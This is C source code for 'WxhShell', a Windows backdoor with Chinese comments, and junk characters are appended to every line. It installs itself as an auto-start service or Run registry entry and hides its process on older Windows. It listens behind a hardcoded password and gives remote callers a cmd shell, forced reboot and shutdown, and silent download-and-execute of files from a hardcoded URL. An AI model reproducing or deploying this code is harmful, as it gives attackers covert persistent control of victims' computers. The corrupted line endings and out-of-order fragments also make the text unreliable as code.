  case 'd': { ~ 9~\f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xP6?es`  
    if(Boot(SHUTDOWN)) JrWBcp:Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jo3}]KC !  
    else { B"Kce"!  
    closesocket(wsh); P ^<0d'(  
    ExitThread(0); zM r!WoW  
    } /j69NEl  
    break; hd ;S>K/C  
    } ck_fEF  
  // 获取shell b hr E  
  case 's': { :htq%gPex9  
    CmdShell(wsh); O:=|b]t  
    closesocket(wsh); z>p`!-'ID  
    ExitThread(0); eGSp(o56  
    break; Z*9]:dG:!  
  } , 64t  
  // 退出 ]baaOD$Z  
  case 'x': { ]F* a PV  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CndgfOF  
    CloseIt(wsh); 27 145  
    break; ;!JX-Jq  
    } i$^B-  
  // 离开 Q$h:[_v  
  case 'q': { mV*/zWh_  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 8u'O` j  
    closesocket(wsh); =6:L+ V  
    WSACleanup(); t-7U1B}=<C  
    exit(1); @-&(TRbZo  
    break; wAl}:|+n  
        } uGUv~bE  
  } hKZ`DB4  
  } ,WB_C\.#XN  
vuo'"^ =p0  
  // 提示信息 )x8;.@U  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ds%&Mi  
} 1^f.5@tV  
  } =1 BNCKT<  
%X"m/4c8}  
  return; E_D ^O  
} z1'FmwT  
~@4ZV  
// shell模块句柄 6%\Q*r*N  
int CmdShell(SOCKET sock) euj8p:+X  
{ pba8=Z  
STARTUPINFO si; 7.e7Fi{  
ZeroMemory(&si,sizeof(si)); $# !UGY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; .Y(lB=pV  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Z2rzb{oS}  
PROCESS_INFORMATION ProcessInfo; << ;HY}s  
char cmdline[]="cmd"; 7{An@hNh  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]Q4PbW  
  return 0; WfDX"rA  
} K4k~r!&OU  
`e $n$Bh  
// 自身启动模式 ~3bZ+*H>  
int StartFromService(void) h^A3 0f_x  
{ pFJQ7Jlx  
typedef struct )jlP cO-  
{ x9)aBB  
  DWORD ExitStatus; Ob8B  
  DWORD PebBaseAddress; sCF40AoY&  
  DWORD AffinityMask; %h"qMs S  
  DWORD BasePriority; {+"g':><  
  ULONG UniqueProcessId; Ki/'Ic1  
  ULONG InheritedFromUniqueProcessId; 2sqm7th  
}   PROCESS_BASIC_INFORMATION; &whX*IZ{  
V@v1a@=W  
PROCNTQSIP NtQueryInformationProcess; &v$,pg%-:  
Lvi[*une|  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; iIsEQh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ;n} >C' :  
(rr}Pv%yb  
  HANDLE             hProcess; Gg9VS&VI  
  PROCESS_BASIC_INFORMATION pbi; @q&|MMLt  
-Aa]aDAz68  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Il{^ j6  
  if(NULL == hInst ) return 0; T0`"kjE  
!8Z2X!$m{<  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }3f BY@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); hhpv\1h#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kG)2%  
wqlcLIJPR  
  if (!NtQueryInformationProcess) return 0; IX<r5!  
~^I\crx,U%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jow7t\wk  
  if(!hProcess) return 0; OGJ=VQA  
Y5ogi )  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; iW|s|1mh3  
ge0's+E+1  
  CloseHandle(hProcess); K8 b+   
=2 &hQd   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); }xDB ~k  
if(hProcess==NULL) return 0; ~{kM5:-iw  
/ l".}S  
HMODULE hMod; a-]hW=[  
char procName[255]; K1T1@ j  
unsigned long cbNeeded; e(yQKwVD  
.Gizz</P~  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {~"7vkc+  
{r={#mO;p  
  CloseHandle(hProcess); E@w[&#  
'h-3V8m^e  
if(strstr(procName,"services")) return 1; // 以服务启动 J=UZ){c>:.  
d5DP^u  
  return 0; // 注册表启动 $]@O/[  
} x*.Ye 5Jb  
Yd' H+r5b  
// 主模块 ajn-KG!A  
int StartWxhshell(LPSTR lpCmdLine) }A{_L6qx  
{ of9q"h  
  SOCKET wsl;  ~~PgF"v  
BOOL val=TRUE; M@|w[ydQG  
  int port=0; U~aWG\h#X  
  struct sockaddr_in door; )YuRjBcp,"  
+}Xr1fr{jw  
  if(wscfg.ws_autoins) Install(); (/"thv5vT{  
Bvz62?  
port=atoi(lpCmdLine); Wk@ eV\H71  
q0&Wk"X%rr  
if(port<=0) port=wscfg.ws_port; <rNtY,  
9Z&?R++?  
  WSADATA data; /ZHO>LNN|  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ||uZ bP@  
h4f ~5- Y  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ZP"yq6!i  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); v btAq^1  
  door.sin_family = AF_INET; $[,l-[-+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ?>sQF4 V"  
  door.sin_port = htons(port); KiQ(XNx  
eY T8$  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { M[~Jaxw%  
closesocket(wsl); bSQRLxF  
return 1; O -G1})$  
} TWUUvj`.  
AzZJG v ]H  
  if(listen(wsl,2) == INVALID_SOCKET) { 1e/L\Y=m  
closesocket(wsl); l '/N3&5  
return 1; 3[VWTq)D=  
} [*<.?9n)or  
  Wxhshell(wsl); (vKI1^,  
  WSACleanup();  }mKwFVZ  
UxyY<H~Wx  
return 0; dY8(nQG  
t\8&*(&3F  
} C1d 04Q  
'Q5&5UrBr  
// 以NT服务方式启动 j")FaIM  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K"L_`.&Q  
{ U IfH*6X  
DWORD   status = 0; "3SWO3-x  
  DWORD   specificError = 0xfffffff; AM'gnP>  
*8PN!^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q/$ GE,"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; vv &BhIf3  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1]j^d  
  serviceStatus.dwWin32ExitCode     = 0; > @+#  
  serviceStatus.dwServiceSpecificExitCode = 0; X(]Zr  
  serviceStatus.dwCheckPoint       = 0; !i^]UN   
  serviceStatus.dwWaitHint       = 0; }qAVN  
L1wZU,o  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P.c O6+jGR  
  if (hServiceStatusHandle==0) return; jeq:  
RX'-99M  
status = GetLastError(); w:}C8WKw  
  if (status!=NO_ERROR) 3qtr9NI  
{ qIh #~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GB>aT-G7q  
    serviceStatus.dwCheckPoint       = 0; Gg|M+M?+  
    serviceStatus.dwWaitHint       = 0; lyyX<=E{)  
    serviceStatus.dwWin32ExitCode     = status; ^_68]l=  
    serviceStatus.dwServiceSpecificExitCode = specificError; O+_N!/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Vv8_\^g]  
    return; /PXioiGcs  
  } Ea4_Qmn  
< W*xshn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; g`[`P@  
  serviceStatus.dwCheckPoint       = 0; 7S<UFj   
  serviceStatus.dwWaitHint       = 0; X D)  8?  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); zI^Da!r.  
} L]I3P|y_  
/THnfy \  
// 处理NT服务事件,比如:启动、停止 pj!:[d  
VOID WINAPI NTServiceHandler(DWORD fdwControl) \, 8p1$G  
{ Hd%! Nt\u  
switch(fdwControl) y])).p P  
{ D L{R|3{N  
case SERVICE_CONTROL_STOP: Bd5+/G=m  
  serviceStatus.dwWin32ExitCode = 0; Fnb2.R'+  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; $"\O;dp7l  
  serviceStatus.dwCheckPoint   = 0; 1 {Jb"  
  serviceStatus.dwWaitHint     = 0; UQI f}iR  
  { o>F*Itr{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OQScW2a&  
  } Q`A6(y/s?  
  return; 2+.18"rvi  
case SERVICE_CONTROL_PAUSE: "ZT.k5Z  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _y vLu j  
  break; OR4!YVVQ  
case SERVICE_CONTROL_CONTINUE: j)by}}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y\'P3ihK  
  break; \~#WY5  
case SERVICE_CONTROL_INTERROGATE: EB!daZH,  
  break; v$Uhm</|19  
}; 02\JzBU  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S@xXq{j  
} Yp1bH+/u  
gcf6\f}\<  
// 标准应用程序主函数 Dx-KMiQ,"(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +@<KC  
{ JYm7@gx  
Hx2En:^Gf  
// 获取操作系统版本 tHh HrMxO  
OsIsNt=GetOsVer(); c #lPc>0xb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); PB9/m-\H  
uP@\#/4u  
  // 从命令行安装 2r&R"B1`(  
  if(strpbrk(lpCmdLine,"iI")) Install(); _w(ln9   
33K*qaRAD  
  // 下载执行文件 +}@ 8p[`)  
if(wscfg.ws_downexe) { J!TBREK  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) .A6lj).:  
  WinExec(wscfg.ws_filenam,SW_HIDE); tmJgm5v  
} c|AtBgvf  
BFVAw  
if(!OsIsNt) { ?2#(jZ# 2  
// 如果时win9x,隐藏进程并且设置为注册表启动 909md|9K3  
HideProc(); o>?*X(+le  
StartWxhshell(lpCmdLine); ~@4'HMQ  
} syPWs57pH  
else .lNs4e  
  if(StartFromService()) jb[!E^'&>  
  // 以服务方式启动 `/nM[  
  StartServiceCtrlDispatcher(DispatchTable); Y<f_`h^r  
else iqwkARG"  
  // 普通方式启动 %gd(wzco  
  StartWxhshell(lpCmdLine); mC[UXN/  
-*a?<ES`  
return 0; MCc$TttaVz  
} u~1o(Zn =  
oVOm_N  
EJ84rSp  
+4qU>  
=========================================== ZA(T  
:I1_X  
A],ooiq<  
a9U_ug58  
)92r{%N  
o[1ylzk}+  
" 8K"+,s(%R  
-\,zRIOK  
#include <stdio.h> o "z@&G" ^  
#include <string.h> $` VFdAe  
#include <windows.h> $uDqqG(^  
#include <winsock2.h> TDtAmk  
#include <winsvc.h> ]N{0:Va@D  
#include <urlmon.h> A,gEM4  
beXNrf=bG  
#pragma comment (lib, "Ws2_32.lib") sJG5/w  
#pragma comment (lib, "urlmon.lib") NbRn*nb/T  
MJ{%4S{K,p  
#define MAX_USER   100 // 最大客户端连接数 )C hqATKg  
#define BUF_SOCK   200 // sock buffer Ts$@s^S]  
#define KEY_BUFF   255 // 输入 buffer i38[hQR9a  
[KJ q  
#define REBOOT     0   // 重启 5W? v'"  
#define SHUTDOWN   1   // 关机 ,*I@  
g I]GUD-  
#define DEF_PORT   5000 // 监听端口 qe$^q  
:G5uocVk  
#define REG_LEN     16   // 注册表键长度 \e3`/D  
#define SVC_LEN     80   // NT服务名长度 ^:=f^N=^  
%G3(,Qz  
// 从dll定义API je/!{(  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O,@~L$a:YZ  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); I=DxRgt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m Lk(y*  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g'$tj&Vk:  
bG F7Zh9  
// wxhshell配置信息 qJ4T]FVN  
struct WSCFG { `D$Jv N  
  int ws_port;         // 监听端口 9W ^xlid6  
  char ws_passstr[REG_LEN]; // 口令 ~|ss*`CT  
  int ws_autoins;       // 安装标记, 1=yes 0=no O1&b]C#  
  char ws_regname[REG_LEN]; // 注册表键名 ^wb:C[r!V  
  char ws_svcname[REG_LEN]; // 服务名 >Z.\J2wM<j  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eLD|A=X?  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KhbYr$  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 q.YfC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no kzn[ =P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" N_pUv   
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q Fm|-j  
b</9Ai=  
}; mTNB88p8^D  
<^?1uzxH8A  
// default Wxhshell configuration cvd\/pG)  
struct WSCFG wscfg={DEF_PORT, mLV[uhq   
    "xuhuanlingzhe", 4QOEw-~w&s  
    1, ikD1N  
    "Wxhshell", }~K`/kvs  
    "Wxhshell", u+H ; @  
            "WxhShell Service", q$(5Vd:  
    "Wrsky Windows CmdShell Service", !~]<$WZV  
    "Please Input Your Password: ", RwI[R)k  
  1, gD`>Twa&6  
  "http://www.wrsky.com/wxhshell.exe", WYB{% yf   
  "Wxhshell.exe" uc7Eq45  
    }; Z/;Xl~  
d[p;T\?"  
// 消息定义模块 8mTM$#\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; l5xCz=dw  
char *msg_ws_prompt="\n\r? for help\n\r#>"; s~I6SA&i  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ~S,p?I  
char *msg_ws_ext="\n\rExit."; za Tb~#c_  
char *msg_ws_end="\n\rQuit."; 7\]E~/g  
char *msg_ws_boot="\n\rReboot..."; 7/7Z`  
char *msg_ws_poff="\n\rShutdown..."; t\P<X^d%  
char *msg_ws_down="\n\rSave to "; ;5-r_D;9  
"tFxhKf  
char *msg_ws_err="\n\rErr!"; 2*"Fu:a"`I  
char *msg_ws_ok="\n\rOK!"; .MQ^(  
"tjLc6Xl^  
char ExeFile[MAX_PATH];  qy)_wM  
int nUser = 0; BrRL7xX  
HANDLE handles[MAX_USER]; ;9o;r)9~  
int OsIsNt; -HSs^dP`  
g_5QA)4x  
SERVICE_STATUS       serviceStatus; r(d':LV  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 5DOBs f8Jo  
y[B>~m8$  
// 函数声明 ~/^5) g_  
int Install(void); _Z5Mw+=19  
int Uninstall(void); yRp"jcD  
int DownloadFile(char *sURL, SOCKET wsh); 98=wnWX 6$  
int Boot(int flag); jls-@Wl  
void HideProc(void); (Yo>Oh4  
int GetOsVer(void); RrU BpqA  
int Wxhshell(SOCKET wsl); bVP"(H]  
void TalkWithClient(void *cs); STZPYeXE  
int CmdShell(SOCKET sock); s,#>m*Rh  
int StartFromService(void); <)+y=m\eJ  
int StartWxhshell(LPSTR lpCmdLine); `qJw|u>YpJ  
!EUan  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Bqma\1cgb  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W>-Et7&2  
 w 4[{2  
// 数据结构和表定义 !*- >;:9B  
SERVICE_TABLE_ENTRY DispatchTable[] = 4DZ-bt'  
{ zO g7raIa  
{wscfg.ws_svcname, NTServiceMain}, Y0?5w0{  
{NULL, NULL} SBA?^T  
}; g&/T*L  
iq( )8nxi  
// 自我安装 6aM*:>C"  
int Install(void) >pUtwIP  
{ jZ NOt  
  char svExeFile[MAX_PATH]; jw-0M1B  
  HKEY key; PkI:*\R  
  strcpy(svExeFile,ExeFile); 87hq{tTs]  
&0f5:M{P  
// 如果是win9x系统,修改注册表设为自启动 %v20~xW :o  
if(!OsIsNt) { 9z6XF]A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N F)~W#  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dOa%9[  
  RegCloseKey(key); jKt7M>P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Eke5Nb  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |:8bNm5[  
  RegCloseKey(key); 2-Y<4'>  
  return 0; ;b-XWK=  
    } A}eOFu`  
  } mI74x3 [  
} SlsdqP 9  
else { oudxm[/U  
lNSLs"x^  
// 如果是NT以上系统,安装为系统服务 m2AnXY\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8WnwQ%;m?  
if (schSCManager!=0) L3CP`cx  
{ ZP{*.]Qu  
  SC_HANDLE schService = CreateService '7O3/GDK  
  ( vVOh3{e|  
  schSCManager, 13taFV dU  
  wscfg.ws_svcname, $ X q!L  
  wscfg.ws_svcdisp, 1GzAG;UUo6  
  SERVICE_ALL_ACCESS, ,v"YqD+GC5  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , x.-+[l[1 !  
  SERVICE_AUTO_START, / m=HG^!  
  SERVICE_ERROR_NORMAL, -'6Dg  
  svExeFile, 4?B\O`sy.  
  NULL, AK@9?_D  
  NULL, '- zD  
  NULL, dAuJXGo  
  NULL, `V##Y  
  NULL .V,@k7U,V  
  ); p, #o<W  
  if (schService!=0) ob8qe,_'  
  { 4:FK;~wM&x  
  CloseServiceHandle(schService); ;+"+3  
  CloseServiceHandle(schSCManager); \ Yx/(e  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); %7|9sQ:  
  strcat(svExeFile,wscfg.ws_svcname); `nu''B H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ofs <EQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $< JaLS  
  RegCloseKey(key); 9 AJ(&qY(  
  return 0; <7~'; K  
    } A}l3cP; `#  
  } dkz=CY3p%X  
  CloseServiceHandle(schSCManager); q.;u?,|E/  
} s7F.sg  
} %^jMj2  
PUUwv_  
return 1; wRVUu)  
} uA< n  
RCpR3iC2  
// 自我卸载 4%4 }5UYN  
int Uninstall(void) W)bLSL]`E  
{ `EaLGzw  
  HKEY key; }~L.qG  
{tWf  
if(!OsIsNt) { ^~etm  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ')cMiX\v  
  RegDeleteValue(key,wscfg.ws_regname); 9iQq.$A.  
  RegCloseKey(key); :.Wr{"`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |!4K!_y  
  RegDeleteValue(key,wscfg.ws_regname); 1eF3`  
  RegCloseKey(key); .6Pw|xu`Pw  
  return 0; 5?x>9C a  
  } wfH^<jY)E  
} r8RoE`/T  
} Tc? $>'  
else { F'21jy&  
K|[*t~59  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jWA(C; W  
if (schSCManager!=0) 'd9INz.  
{ %#kg#@z_`e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %lGl,me H  
  if (schService!=0) 9w7n1k.  
  { r97pOs#5:  
  if(DeleteService(schService)!=0) { 2fL;-\!y(  
  CloseServiceHandle(schService); H*PSR  
  CloseServiceHandle(schSCManager); Y^wW2-,m  
  return 0; 8)_XJ"9)G  
  } 50S&m+4d+  
  CloseServiceHandle(schService); _z|65H  
  } C&(N I  
  CloseServiceHandle(schSCManager); Tw-;7Ae  
} ``hf=`We  
} gtppv6<Mj4  
D9H?:pmv?  
return 1; asppRL||  
} 8.O8No:'&  
I=`U7Bis"  
// 从指定url下载文件 Fj2BnM3#  
int DownloadFile(char *sURL, SOCKET wsh) ;~m8;8)  
{ uxr #QA  
  HRESULT hr; S4_YT@VD%  
char seps[]= "/"; a .k.n<  
char *token; 0Qf,@^zL*  
char *file; },{$*f[  
char myURL[MAX_PATH]; [M=7M}f;  
char myFILE[MAX_PATH]; QTk}h_<u  
!$gR{XH$]  
strcpy(myURL,sURL); GjvOM y  
  token=strtok(myURL,seps); VA#"r!1  
  while(token!=NULL) I&x=;   
  { 9y"@(  
    file=token; 0AL=S$B)  
  token=strtok(NULL,seps); p8Qk 'F=h  
  } fHx*e'eA  
vdc\R?  
GetCurrentDirectory(MAX_PATH,myFILE); gCB |DY  
strcat(myFILE, "\\"); x??+~$}\*-  
strcat(myFILE, file); Swig;`  
  send(wsh,myFILE,strlen(myFILE),0); B|C2lu  
send(wsh,"...",3,0); c(xrP/yOwi  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Ng2twfSl$  
  if(hr==S_OK) \@c,3  
return 0; 52Z2]T c ,  
else LTQ"8  
return 1; &]|?o_p3W  
m[~y@7AK<  
} mn"G_I  
8e1UmM[  
// 系统电源模块 3YOq2pW72G  
int Boot(int flag) &5B'nk"  
{ 3 /g~A{  
  HANDLE hToken; s<<ooycBrQ  
  TOKEN_PRIVILEGES tkp; ];[}:f  
dO! kk"qn  
  if(OsIsNt) { ^BikV  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *av<E  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hj*pTuym  
    tkp.PrivilegeCount = 1; Q{>+ft U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; <lPm1/8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \wz6~5R  
if(flag==REBOOT) { l<58A7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) he;dq)-e9  
  return 0; +V ;l6D  
} 61C7.EZZ;  
else { Bu~]ey1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) P~>O S5^  
  return 0; H)kwQRfu  
} =(j1rW!  
  } |6sp/38#p  
  else { _)3|f<E_t)  
if(flag==REBOOT) { 823Y\x~>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) *K8$eDNZ  
  return 0; U)] oO  
} /K@XzwM  
else { J?"B%B5c  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) {4<C_52t  
  return 0; N2^=E1|_  
} !C ':  
}  MzdV2.  
_^Ubs>d=*  
return 1; 99e.n0  
} /$Nsd  
V1N3iI  
// win9x进程隐藏模块 5IGX5x  
void HideProc(void) JzQ_{J`k  
{ [.7d<oY  
xX&+WR  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %HhnSi1K  
  if ( hKernel != NULL ) [Gb. JO}X  
  { \h/H#j ZJ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ]vUwG--*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); cKca;SNql1  
    FreeLibrary(hKernel); G:<aB  
  } #4 <SAgq  
*SJ_z(CZm  
return; :'X&bn  
} >C>.\  
? =Z?6fw  
// 获取操作系统版本 UmP/h@8  
int GetOsVer(void) @1roe G  
{ _aSxc)?  
  OSVERSIONINFO winfo; XJ;57n-?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); X]TG<r  
  GetVersionEx(&winfo); Tv,[DI +  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O3,jg |,  
  return 1; yLvDMPj  
  else #CTE-W"|HE  
  return 0; D0-3eV -  
} &-)N'  
0*3R=7_},o  
// 客户端句柄模块 gh]cXuph  
int Wxhshell(SOCKET wsl) ]m3HF&  
{ AofKw  
  SOCKET wsh; I5 p ? [  
  struct sockaddr_in client; R`qFg/S  
  DWORD myID; Qz1E 2yJ  
PO: {t  
  while(nUser<MAX_USER) UcHJR"M~c  
{  R B  
  int nSize=sizeof(client); |mfvr *7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -$ls(oot  
  if(wsh==INVALID_SOCKET) return 1; 4SxX3Fw  
q"lSZ; 'E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); <dtGK~_  
if(handles[nUser]==0) +5*95-;0  
  closesocket(wsh); >1Ibc=}g  
else )D7m,Wi+  
  nUser++; s2V:cMXFn  
  } L,/%f<wd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); D;*SnU(9L  
iOghb*aW  
  return 0; P/eeC"  
} Czu9o;xr  
194)QeoFw  
// 关闭 socket CY5Z{qiX  
void CloseIt(SOCKET wsh) ITI)soa~  
{ rglXs  
closesocket(wsh); gPI ?C76  
nUser--; %J?xRv!  
ExitThread(0); Ffz,J6b  
} JX;G<lev  
QA`sx  
// 客户端请求句柄 aeJHMHFc  
void TalkWithClient(void *cs) `*R:gE=  
{ g]H<}4lgq"  
r q].UCj  
  SOCKET wsh=(SOCKET)cs; BX7kO0j  
  char pwd[SVC_LEN]; D/&o& G96  
  char cmd[KEY_BUFF]; T.BW H2gRP  
char chr[1]; A?P_DA  
int i,j; 6%_nZvRv  
UB@+c k  
  while (nUser < MAX_USER) { .t!x<B  
+I|vzz`ZVr  
if(wscfg.ws_passstr) { KkbDW3-  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); b]#AI qt  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hL{KRRf>  
  //ZeroMemory(pwd,KEY_BUFF); \r+ a GB  
      i=0; ;*Et[}3  
  while(i<SVC_LEN) { ea 'D td  
?+@?Up0wGO  
  // 设置超时 !l8PDjAE  
  fd_set FdRead; ;N0XFjdR  
  struct timeval TimeOut; Wd:uV  
  FD_ZERO(&FdRead); 0S!K{xyR  
  FD_SET(wsh,&FdRead); l'_r:b  
  TimeOut.tv_sec=8; $%#!bV  
  TimeOut.tv_usec=0; q>+k@>bk @  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); @q7I4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ]{@-HTt  
uy$e?{Jf  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); YU'E@t5  
  pwd=chr[0]; 3F2w-+L  
  if(chr[0]==0xd || chr[0]==0xa) { Wh*uaad7  
  pwd=0; ?CPahU  
  break; d\8l`Krs[_  
  } 9W2Vo [(  
  i++; '\iCP1>+S  
    } )3EY;  
0aB;p7~&  
  // 如果是非法用户,关闭 socket mCVFS=8V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); /y}xX  
} vA8nvoi  
!%c\N8<>GD  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); )Ql%r?(F+  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Vt#.eL)Ee  
e(t\g^X  
while(1) { E:nF$#<'N  
NC(~l  
  ZeroMemory(cmd,KEY_BUFF); zQd 2  
64tvP^kp  
      // 自动支持客户端 telnet标准   k5pN  
  j=0; %* }(}~  
  while(j<KEY_BUFF) { 2\{zmc}G-0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); uK Hxe~  
  cmd[j]=chr[0]; DB}eA N/  
  if(chr[0]==0xa || chr[0]==0xd) { 4H&+dR I"  
  cmd[j]=0; Rima;9.Y0  
  break; AoxA+.O  
  } U>N1Od4vTO  
  j++; m9rp8r*e  
    } T_4/C2  
@K-">f  
  // 下载文件 ISvpQ 3{)s  
  if(strstr(cmd,"http://")) { 0 kW,I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]}Yl7/gM1}  
  if(DownloadFile(cmd,wsh)) C~/a-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); J)-x!y>  
  else Sdryol<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $=4QO  
  } Ysv" 6b}  
  else { 4Fr  
N~'c_l  
    switch(cmd[0]) { D*d]aC  
  ]t"Ss_,  
  // 帮助 PEZ!n.'S  
